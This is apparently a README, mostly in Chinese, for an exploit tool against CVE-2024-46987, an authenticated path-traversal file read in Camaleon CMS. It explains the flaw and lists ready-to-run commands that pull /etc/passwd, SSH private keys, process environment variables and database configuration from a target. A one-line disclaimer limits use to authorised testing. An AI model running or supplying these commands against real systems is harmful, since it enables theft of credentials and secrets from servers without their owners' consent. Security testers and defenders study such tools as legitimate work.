
CVE-2024-46987 - Camaleon CMS LFI Exploit
Camaleon CMS 的已验证本地文件包含(LFI)利用工具。
Camaleon CMS 容易受到通过 /admin/media/download_private_file 端点进行的已验证 LFI 攻击。file 参数未正确清理,允许路径遍历,从而读取服务器上的任意文件。
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
| Parameter |
|---|
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
此工具仅用于授权的安全测试和教育目的。仅在对您拥有明确测试权限的系统上使用。
| Description |
|---|
-u, --url | 目标URL |
-f, --file | 要读取的文件(例如 /etc/passwd) |
-t, --token | auth_token cookie 值 |
-o, --output | 输出文件名(可选,未设置则打印到终端) |